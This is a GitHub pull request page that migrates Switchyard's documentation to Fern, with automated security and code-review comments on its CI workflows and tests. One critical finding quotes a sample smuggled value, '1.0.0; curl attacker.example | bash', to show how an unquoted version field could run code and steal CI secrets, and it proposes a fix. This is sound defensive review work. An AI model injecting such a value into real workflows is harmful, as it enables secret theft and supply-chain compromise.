docs(fern): migrate documentation to Fern#56
Conversation
35a006a to
5ab189b
Compare
Signed-off-by: Lawrence Lane <llane@nvidia.com>
5ab189b to
08c4c4f
Compare
Signed-off-by: Lawrence Lane <llane@nvidia.com>
WalkthroughThe documentation system is migrated from MkDocs to Fern-based MDX. Fern navigation, validation, preview, publishing, canonical routes, legacy redirects, contributor guidance, and regression tests are added or updated. ChangesFern documentation migration
Estimated code review effort: 4 (Complex) | ~45 minutes Poem
🚥 Pre-merge checks | ✅ 4 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (4 passed)
Comment |
There was a problem hiding this comment.
Actionable comments posted: 7
🧹 Nitpick comments (3)
.github/workflows/fern-docs-preview-comment.yml (1)
51-54: 🔒 Security & Privacy | 🔵 Trivial | ⚡ Quick winUnpinned
setup-node@v6with default caching in a token-bearing job.Unlike the other actions in this file (
download-artifactis pinned to a commit SHA),setup-nodeis only pinned to the floating major tagv6. Separately,setup-node@v6enablespackage-manager-cacheby default when nocache/package-manager-cacheinput is supplied, which GitHub's own advisory flags as unsafe for privileged workflows with secrets (this job later exportsDOCS_FERN_TOKEN).🔒 Proposed hardening
- name: Setup Node.js - uses: actions/setup-node@v6 + uses: actions/setup-node@<pinned-sha> # v6 with: node-version: "20" + package-manager-cache: false🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/fern-docs-preview-comment.yml around lines 51 - 54, Harden the “Setup Node.js” step by pinning actions/setup-node to an immutable commit SHA and explicitly disabling package-manager caching. Preserve the existing Node.js 20 configuration and ensure the token-bearing job does not use the default cache behavior..github/workflows/publish-fern-docs.yml (1)
37-40: 🔒 Security & Privacy | 🔵 Trivial | ⚡ Quick winUnpinned
setup-node@v6with default caching in aDOCS_FERN_TOKEN-bearing job.Same pattern as
fern-docs-preview-comment.yml's setup-node step: floating tag instead of SHA, and v6's defaultpackage-manager-cache: truein a privileged, secret-bearing job (see consolidated comment).🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/publish-fern-docs.yml around lines 37 - 40, Update the “Setup Node.js” step in the publish workflow to pin actions/setup-node to a reviewed commit SHA instead of the floating v6 tag, and explicitly disable package-manager caching for this DOCS_FERN_TOKEN-bearing job. Apply the same hardened setup to the corresponding setup-node step in fern-docs-preview-comment.yml..github/workflows/fern-docs-ci.yml (1)
40-41: 🔒 Security & Privacy | 🔵 Trivial | ⚡ Quick winHarden checkout: disable credential persistence.
This job never pushes or needs git credentials beyond the initial checkout; disabling
persist-credentialsavoids leaving a usable credential in the runner's git config for the rest of the job.🔒 Proposed fix
- name: Checkout repository uses: actions/checkout@v6 + with: + persist-credentials: false🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/fern-docs-ci.yml around lines 40 - 41, Update the actions/checkout@v6 step in the checkout repository job to disable credential persistence by configuring persist-credentials as false, leaving the rest of the checkout behavior unchanged.Source: Linters/SAST tools
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.agents/skills/switchyard-docs/SKILL.md:
- Around line 34-35: Replace the placeholder `/path/to/convert-to-fern` prefix
in the Quick Reference commands for `check_mdx_safety.py` and
`validate_fern_internal_links.py` with the repository’s actual runnable command
or repo-relative script path. Preserve each script name and its existing
arguments, including the nightly versions file reference.
In @.github/workflows/fern-docs-preview-build.yml:
- Around line 37-40: Update the “Checkout PR” actions/checkout configuration in
fern-docs-preview-build.yml and the corresponding checkout step in
publish-fern-docs.yml to set persist-credentials to false, while preserving the
existing fetch-depth setting.
In @.github/workflows/fern-docs-preview-comment.yml:
- Around line 56-57: Secure the “Install pinned Fern CLI” step by reading the
version from fern.config.json into a variable, validating it against the
expected npm version format, and quoting the validated value when passing it to
npm install. Reject any invalid or empty version before invoking npm, ensuring
attacker-controlled configuration cannot introduce shell syntax or extra
arguments.
In @.github/workflows/publish-fern-docs.yml:
- Around line 42-43: Harden the Install pinned Fern CLI step by safely quoting
the version value produced from docs/fern/fern.config.json before passing it to
npm install. Update the command in the publish workflow while preserving the
existing pinned fern-api installation behavior.
- Around line 34-35: Update the “Checkout repository” step to pin
actions/checkout to its approved commit SHA instead of the floating v6 tag, and
set persist-credentials to false. Preserve the existing checkout behavior while
ensuring the contents: write job does not retain checkout credentials.
In `@tests/test_cli_reference_docs.py`:
- Line 139: Update the documentation path collection to recursively include
published MDX pages under docs, including nested directories such as guides and
routing_algorithms. Exclude docs/fern/ entries if needed so the scan remains
limited to published pages while retaining README.md.
In `@tests/test_fern_docs.py`:
- Around line 71-85: Update
test_published_pages_have_descriptions_and_titled_callouts to validate
metadata.get("title") as well as metadata.get("description"), recording a
failure for any missing or empty title while preserving the existing description
and callout checks.
---
Nitpick comments:
In @.github/workflows/fern-docs-ci.yml:
- Around line 40-41: Update the actions/checkout@v6 step in the checkout
repository job to disable credential persistence by configuring
persist-credentials as false, leaving the rest of the checkout behavior
unchanged.
In @.github/workflows/fern-docs-preview-comment.yml:
- Around line 51-54: Harden the “Setup Node.js” step by pinning
actions/setup-node to an immutable commit SHA and explicitly disabling
package-manager caching. Preserve the existing Node.js 20 configuration and
ensure the token-bearing job does not use the default cache behavior.
In @.github/workflows/publish-fern-docs.yml:
- Around line 37-40: Update the “Setup Node.js” step in the publish workflow to
pin actions/setup-node to a reviewed commit SHA instead of the floating v6 tag,
and explicitly disable package-manager caching for this DOCS_FERN_TOKEN-bearing
job. Apply the same hardened setup to the corresponding setup-node step in
fern-docs-preview-comment.yml.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Enterprise
Run ID: fa0e590c-c098-472a-bc87-0cc547732dca
📒 Files selected for processing (46)
.agents/skills/switchyard-docs/SKILL.md.agents/skills/switchyard-testing-ci/SKILL.md.github/workflows/docs.yml.github/workflows/fern-docs-ci.yml.github/workflows/fern-docs-preview-build.yml.github/workflows/fern-docs-preview-comment.yml.github/workflows/getting-started.yml.github/workflows/publish-fern-docs.ymlAGENTS.mdCHANGELOG.mdDEVELOPMENT.mdREADME.mddocs/AGENTS.mddocs/Makefiledocs/README.mddocs/architecture.mdxdocs/cli_reference.mdxdocs/core_concepts.mdxdocs/fern/.gitignoredocs/fern/AGENTS.mddocs/fern/README.mddocs/fern/docs.ymldocs/fern/fern.config.jsondocs/fern/generate_legacy_redirect_site.pydocs/fern/versions/nightly.ymldocs/getting_started.mdxdocs/guides/agent_launchers.mdxdocs/index.mdxdocs/internal/latency_service_routing.mddocs/known_issues.mdxdocs/operations/context_window.mdxdocs/routing_algorithms/llm_classifier_routing.mdxdocs/routing_algorithms/overview.mdxdocs/routing_algorithms/random_routing.mdxdocs/routing_algorithms/stage_router_routing.mdxdocs/routing_algorithms/sticky_routing.mdxdocs/skill_distillation.mdxdocs/stylesheets/nvidia.cssmkdocs.ymlmkdocs_hooks.pyswitchyard/lib/profiles/stage_router_config.pytests/getting_started/test_getting_started.pytests/readme/test_readme.pytests/test_cli_reference_docs.pytests/test_fern_docs.pytests/test_mkdocs_repository_links.py
💤 Files with no reviewable changes (5)
- mkdocs.yml
- .github/workflows/docs.yml
- mkdocs_hooks.py
- docs/stylesheets/nvidia.css
- tests/test_mkdocs_repository_links.py
| | Check MDX safety | `python /path/to/convert-to-fern/scripts/checks/check_mdx_safety.py docs` | | ||
| | Check internal Fern links | `python /path/to/convert-to-fern/scripts/checks/validate_fern_internal_links.py docs --version-yml docs/fern/versions/nightly.yml` | |
There was a problem hiding this comment.
📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
# Description: locate the MDX safety / internal link validation scripts referenced in the skill.
fd -i 'check_mdx_safety.py' .
fd -i 'validate_fern_internal_links.py' .Repository: NVIDIA-NeMo/Switchyard
Length of output: 160
🏁 Script executed:
#!/bin/bash
set -euo pipefail
printf 'Files matching validation script names:\n'
fd -i 'check_mdx_safety.py' . || true
fd -i 'validate_fern_internal_links.py' . || true
printf '\nOccurrences of the placeholder path:\n'
rg -n "/path/to/convert-to-fern/scripts/checks|check_mdx_safety.py|validate_fern_internal_links.py" . || true
printf '\nCandidate repo files near the docs skill:\n'
git ls-files '.agents/skills/switchyard-docs/SKILL.md' 'Makefile' '.github/workflows/*' 'docs/**' 'scripts/**' | sed -n '1,200p'Repository: NVIDIA-NeMo/Switchyard
Length of output: 1569
🏁 Script executed:
#!/bin/bash
set -euo pipefail
printf 'SKILL.md around lines 1-80:\n'
sed -n '1,80p' .agents/skills/switchyard-docs/SKILL.md
printf '\nDocs Makefile targets:\n'
sed -n '1,220p' docs/Makefile
printf '\nFern docs workflow references:\n'
rg -n "check_mdx_safety|validate_fern_internal_links|convert-to-fern|mdx safety|internal links" .github/workflows docs/Makefile docs/README.md docs/fern -S || trueRepository: NVIDIA-NeMo/Switchyard
Length of output: 5133
Replace the placeholder validation commands in the Quick Reference.
File: .agents/skills/switchyard-docs/SKILL.md lines 34-35
Both commands still point at /path/to/convert-to-fern/scripts/checks/..., which is a template path and not runnable in this repo. Point them at the real repo command or a repo-relative script path.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.agents/skills/switchyard-docs/SKILL.md around lines 34 - 35, Replace the
placeholder `/path/to/convert-to-fern` prefix in the Quick Reference commands
for `check_mdx_safety.py` and `validate_fern_internal_links.py` with the
repository’s actual runnable command or repo-relative script path. Preserve each
script name and its existing arguments, including the nightly versions file
reference.
| - name: Checkout PR | ||
| uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 | ||
| with: | ||
| fetch-depth: 0 |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟡 Minor | ⚡ Quick win
Set persist-credentials: false on this untrusted-PR checkout.
This step checks out the possibly-malicious PR branch but never needs to push; leaving the default persist-credentials: true keeps a live token in the workspace for no benefit. Same pattern appears in publish-fern-docs.yml's checkout step (see consolidated comment).
🧰 Tools
🪛 zizmor (1.26.1)
[warning] 37-40: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false
(artipacked)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/fern-docs-preview-build.yml around lines 37 - 40, Update
the “Checkout PR” actions/checkout configuration in fern-docs-preview-build.yml
and the corresponding checkout step in publish-fern-docs.yml to set
persist-credentials to false, while preserving the existing fetch-depth setting.
Source: Linters/SAST tools
| - name: Install pinned Fern CLI | ||
| run: npm install -g fern-api@$(jq -r .version docs/fern/fern.config.json) |
There was a problem hiding this comment.
🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win
Critical: unquoted, attacker-controlled jq output flows into a privileged shell command (command injection → secret exfiltration).
docs/fern/fern.config.json at this point is the file from the untrusted PR branch (downloaded via the fern-preview artifact produced by the untrusted collector job). Its .version field is fully attacker-controlled, and it's spliced unquoted into npm install -g fern-api@$(...). A PR author can set version to something like 1.0.0; curl attacker.example | bash — bash word-splits the unquoted command substitution and executes the trailing command on this same runner, in the same job that later exports DOCS_FERN_TOKEN and GITHUB_TOKEN as env vars to subsequent steps. Injected code can persist (e.g. shadow fern/npm on PATH) and exfiltrate those secrets when the later steps run. This is precisely the exploitable pattern behind zizmor's generic workflow_run/dangerous-triggers warning on this workflow.
🔒 Proposed fix: quote and validate the version before use
- name: Install pinned Fern CLI
- run: npm install -g fern-api@$(jq -r .version docs/fern/fern.config.json)
+ run: |
+ VERSION="$(jq -r '.version' docs/fern/fern.config.json)"
+ if ! [[ "$VERSION" =~ ^[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.]+)?$ ]]; then
+ echo "::error::Refusing to install unexpected Fern CLI version: $VERSION"
+ exit 1
+ fi
+ npm install -g "fern-api@${VERSION}"📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| - name: Install pinned Fern CLI | |
| run: npm install -g fern-api@$(jq -r .version docs/fern/fern.config.json) | |
| - name: Install pinned Fern CLI | |
| run: | | |
| VERSION="$(jq -r '.version' docs/fern/fern.config.json)" | |
| if ! [[ "$VERSION" =~ ^[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.]+)?$ ]]; then | |
| echo "::error::Refusing to install unexpected Fern CLI version: $VERSION" | |
| exit 1 | |
| fi | |
| npm install -g "fern-api@${VERSION}" |
🧰 Tools
🪛 zizmor (1.26.1)
[warning] 57-57: ad-hoc installation of packages (adhoc-packages): installs a package outside of a lockfile
(adhoc-packages)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/fern-docs-preview-comment.yml around lines 56 - 57, Secure
the “Install pinned Fern CLI” step by reading the version from fern.config.json
into a variable, validating it against the expected npm version format, and
quoting the validated value when passing it to npm install. Reject any invalid
or empty version before invoking npm, ensuring attacker-controlled configuration
cannot introduce shell syntax or extra arguments.
Source: Linters/SAST tools
| - name: Checkout repository | ||
| uses: actions/checkout@v6 |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟡 Minor | ⚡ Quick win
Checkout in a contents: write job: pin to SHA and drop persisted credentials.
actions/checkout@v6 here is a floating major-tag reference (other actions in this batch, e.g. download-artifact, are SHA-pinned), and persist-credentials defaults to true in a job that already holds contents: write. Same pattern as the untrusted checkout in fern-docs-preview-build.yml (see consolidated comment).
🧰 Tools
🪛 zizmor (1.26.1)
[warning] 34-35: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false
(artipacked)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/publish-fern-docs.yml around lines 34 - 35, Update the
“Checkout repository” step to pin actions/checkout to its approved commit SHA
instead of the floating v6 tag, and set persist-credentials to false. Preserve
the existing checkout behavior while ensuring the contents: write job does not
retain checkout credentials.
Source: Linters/SAST tools
| - name: Install pinned Fern CLI | ||
| run: npm install -g fern-api@$(jq -r .version docs/fern/fern.config.json) |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟠 Major | ⚡ Quick win
Same unquoted jq/npm install pattern as the preview-comment workflow.
fern-api@$(jq -r .version docs/fern/fern.config.json) is unquoted here too. Exposure is lower than in fern-docs-preview-comment.yml (this ref requires tag/dispatch access rather than an arbitrary fork PR), but it's the same fragile pattern and worth hardening the same way for defense in depth (see consolidated comment).
🧰 Tools
🪛 zizmor (1.26.1)
[warning] 43-43: ad-hoc installation of packages (adhoc-packages): installs a package outside of a lockfile
(adhoc-packages)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/publish-fern-docs.yml around lines 42 - 43, Harden the
Install pinned Fern CLI step by safely quoting the version value produced from
docs/fern/fern.config.json before passing it to npm install. Update the command
in the publish workflow while preserving the existing pinned fern-api
installation behavior.
Source: Linters/SAST tools
|
|
||
| def _public_cli_doc_paths() -> list[Path]: | ||
| return [REPO_ROOT / "README.md", *sorted((REPO_ROOT / "docs").glob("*.md"))] | ||
| return [REPO_ROOT / "README.md", *sorted((REPO_ROOT / "docs").glob("*.mdx"))] |
There was a problem hiding this comment.
📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win
Scan nested published MDX pages too.
glob("*.mdx") only checks files directly under docs/, so stale CLI flags in published pages such as docs/guides/*.mdx or docs/routing_algorithms/*.mdx are never validated. Use a recursive glob and exclude docs/fern/ if necessary to match the published-page scope.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@tests/test_cli_reference_docs.py` at line 139, Update the documentation path
collection to recursively include published MDX pages under docs, including
nested directories such as guides and routing_algorithms. Exclude docs/fern/
entries if needed so the scan remains limited to published pages while retaining
README.md.
Source: Coding guidelines
| def test_published_pages_have_descriptions_and_titled_callouts() -> None: | ||
| """Published pages must retain SEO descriptions and converted admonition titles.""" | ||
| failures: list[str] = [] | ||
| for path in sorted(DOCS_ROOT.rglob("*.mdx")): | ||
| if FERN_ROOT in path.parents: | ||
| continue | ||
| text = path.read_text(encoding="utf-8") | ||
| frontmatter = text.split("---", 2)[1] | ||
| metadata = yaml.safe_load(frontmatter) | ||
| if not metadata.get("description"): | ||
| failures.append(f"{path.relative_to(REPO_ROOT)}: missing description") | ||
| for tag in re.findall(r"<(?:Note|Warning)(?:\s+[^>]*)?>", text): | ||
| if "title=" not in tag: | ||
| failures.append(f"{path.relative_to(REPO_ROOT)}: untitled {tag}") | ||
| assert not failures, "\n".join(failures) |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟠 Major | ⚡ Quick win
Test doesn't enforce non-empty title.
The coding guideline requires every published page to have non-empty title and description frontmatter, but this test only asserts metadata.get("description"); a page with an empty/missing title would still pass.
✅ Proposed fix to also enforce non-empty title
metadata = yaml.safe_load(frontmatter)
if not metadata.get("description"):
failures.append(f"{path.relative_to(REPO_ROOT)}: missing description")
+ if not metadata.get("title"):
+ failures.append(f"{path.relative_to(REPO_ROOT)}: missing title")Based on coding guidelines, "Give every published page non-empty title and description frontmatter."
📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| def test_published_pages_have_descriptions_and_titled_callouts() -> None: | |
| """Published pages must retain SEO descriptions and converted admonition titles.""" | |
| failures: list[str] = [] | |
| for path in sorted(DOCS_ROOT.rglob("*.mdx")): | |
| if FERN_ROOT in path.parents: | |
| continue | |
| text = path.read_text(encoding="utf-8") | |
| frontmatter = text.split("---", 2)[1] | |
| metadata = yaml.safe_load(frontmatter) | |
| if not metadata.get("description"): | |
| failures.append(f"{path.relative_to(REPO_ROOT)}: missing description") | |
| for tag in re.findall(r"<(?:Note|Warning)(?:\s+[^>]*)?>", text): | |
| if "title=" not in tag: | |
| failures.append(f"{path.relative_to(REPO_ROOT)}: untitled {tag}") | |
| assert not failures, "\n".join(failures) | |
| def test_published_pages_have_descriptions_and_titled_callouts() -> None: | |
| """Published pages must retain SEO descriptions and converted admonition titles.""" | |
| failures: list[str] = [] | |
| for path in sorted(DOCS_ROOT.rglob("*.mdx")): | |
| if FERN_ROOT in path.parents: | |
| continue | |
| text = path.read_text(encoding="utf-8") | |
| frontmatter = text.split("---", 2)[1] | |
| metadata = yaml.safe_load(frontmatter) | |
| if not metadata.get("description"): | |
| failures.append(f"{path.relative_to(REPO_ROOT)}: missing description") | |
| if not metadata.get("title"): | |
| failures.append(f"{path.relative_to(REPO_ROOT)}: missing title") | |
| for tag in re.findall(r"<(?:Note|Warning)(?:\s+[^>]*)?>", text): | |
| if "title=" not in tag: | |
| failures.append(f"{path.relative_to(REPO_ROOT)}: untitled {tag}") | |
| assert not failures, "\n".join(failures) |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@tests/test_fern_docs.py` around lines 71 - 85, Update
test_published_pages_have_descriptions_and_titled_callouts to validate
metadata.get("title") as well as metadata.get("description"), recording a
failure for any missing or empty title while preserving the existing description
and callout checks.
Source: Coding guidelines
|
@lbliii Can you please address coderabbit comments? |
Summary
docs/fern/project with the NVIDIA global theme, nightly navigation, redirects, and thedocs.nvidia.com/nemo/switchyardroutedocs/layoutdocs/internal/as unpublished Markdown notesWhy
Switchyard documentation is moving to the standard NeMo Fern layout: authored nightly content under
docs/and Fern infrastructure underdocs/fern/. This removes the parallel MkDocs build and makes Fern navigation and validation the publication contract.Impact
Docs contributors now use
cd docs && make checkfor validation andmake previewfor local development. Pull requests collect preview sources without secrets, then a trustedworkflow_runpublishes the Fern preview and upserts a PR comment usingDOCS_FERN_TOKEN. Production publishing runs only fordocs/v*tags or manual dispatch. After Fern publishes anddocs.nvidia.com/nemo/switchyard/homeis healthy, the workflow replaces the stale GitHub Pages site with static per-page redirects. This change does not alter Switchyard runtime APIs or package dependencies.Validation
cd docs && make check— passed with Fern 5.68.0uv run pytest tests/test_fern_docs.py -v -o addopts=— 4 passed (navigation routes, MDX links, metadata/callouts, Fern and GitHub Pages redirects)uv run ruff check .— passeduv run mypy switchyard— passed (162 source files)env -u OPENROUTER_API_KEY -u NVIDIA_API_KEY -u OPENAI_API_KEY -u ANTHROPIC_API_KEY uv run pytest tests/ -v -m "not integration"— 1969 passed, 12 skipped, 43 deselectedgit diff --check— passedNo live LLM-provider tests or API calls were run.
Summary by CodeRabbit
New Features
Bug Fixes
Tests